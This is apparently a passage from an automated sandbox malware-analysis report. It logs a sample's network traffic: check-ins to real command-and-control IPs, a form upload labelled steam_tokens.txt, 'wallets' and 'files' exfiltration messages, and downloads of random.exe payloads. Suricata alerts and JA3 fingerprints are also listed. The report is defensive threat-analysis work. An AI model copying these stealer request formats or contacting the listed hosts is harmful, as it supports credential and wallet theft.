66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 48 49 45 47 43 46 48 43 47 44 47 43 41 45 43 42 47 2d 2d 0d 0a Data Ascii: ------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------CGDHIEGCFHCGDGCAECBGContent-Disposition: form-data; name="message"wallets------CGDHIEGCFHCGDGCAECBG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBFHJEGDAFHIJKECFBKJHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 45 42 46 48 4a 45 47 44 41 46 48 49 4a 4b 45 43 46 42 4b 4a 2d 2d 0d 0a Data Ascii: ------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------EBFHJEGDAFHIJKECFBKJContent-Disposition: form-data; name="message"files------EBFHJEGDAFHIJKECFBKJ--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKKKFCFHCFIECBGDHIDHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4b 4b 4b 46 43 46 48 43 46 49 45 43 42 47 44 48 49 44 2d 2d 0d 0a Data Ascii: ------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IJKKKFCFHCFIECBGDHIDContent-Disposition: form-data; name="file"------IJKKKFCFHCFIECBGDHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HCFIIIJJKJKFHIDGDBAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 48 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 2d 2d 0d 0a Data Ascii: ------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------HCFIIIJJKJKFHIDGDBAKContent-Disposition: form-data; name="message"ybncbhylepme------HCFIIIJJKJKFHIDGDBAK--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJDBGDHIIDAEBFHJJDBFHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 30 61 64 62 64 62 35 32 30 65 64 66 30 35 38 39 37 33 31 35 63 65 31 37 32 64 33 63 35 31 62 34 31 39 64 64 32 36 62 63 30 65 63 38 35 36 38 30 35 38 66 61 37 62 62 30 39 32 30 61 35 62 30 34 32 37 30 66 64 36 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 44 42 47 44 48 49 49 44 41 45 42 46 48 4a 4a 44 42 46 2d 2d 0d 0a Data Ascii: ------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="token"50adbdb520edf05897315ce172d3c51b419dd26bc0ec8568058fa7bb0920a5b04270fd6a------JJDBGDHIIDAEBFHJJDBFContent-Disposition: form-data; name="message"wkkjqaiaxkhb------JJDBGDHIIDAEBFHJJDBF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 162Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Source: global traffic	HTTP traffic detected: GET /files/random.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 30 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007095001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1Host: home.fvtejj5vs.topAccept: /
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 30 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007104001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007105001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKFBFCAFCBKFIEBFHIDBHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4b 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 34 41 43 43 45 32 33 45 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4b 4b 46 42 46 43 41 46 43 42 4b 46 49 45 42 46 48 49 44 42 2d 2d 0d 0a Data Ascii: ------KKFBFCAFCBKFIEBFHIDBContent-Disposition: form-data; name="hwid"AD4ACCE23E653001675293------KKFBFCAFCBKFIEBFHIDBContent-Disposition: form-data; name="build"mars------KKFBFCAFCBKFIEBFHIDB--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 37 31 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007106001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----HIDGCFBFBFBKEBGCAFCGHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 34 41 43 43 45 32 33 45 36 35 33 30 30 31 36 37 35 32 39 33 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 48 49 44 47 43 46 42 46 42 46 42 4b 45 42 47 43 41 46 43 47 2d 2d 0d 0a Data Ascii: ------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="hwid"AD4ACCE23E653001675293------HIDGCFBFBFBKEBGCAFCGContent-Disposition: form-data; name="build"mars------HIDGCFBFBFBKEBGCAFCG--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 20.125.209.212 20.125.209.212

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49706 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49844 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.7:49999 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50125 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50127 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50130 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50131 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50132 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50134 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50135 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50137 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50139 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.7:50140 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50141 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.7:50142 -> 188.114.96.3:443

Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 104.98.116.138
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 20.50.201.200
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\Desktop\file.exe

Code function: 1_2_6CFCCC60 PR_Recv,

1_2_6CFCCC60

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
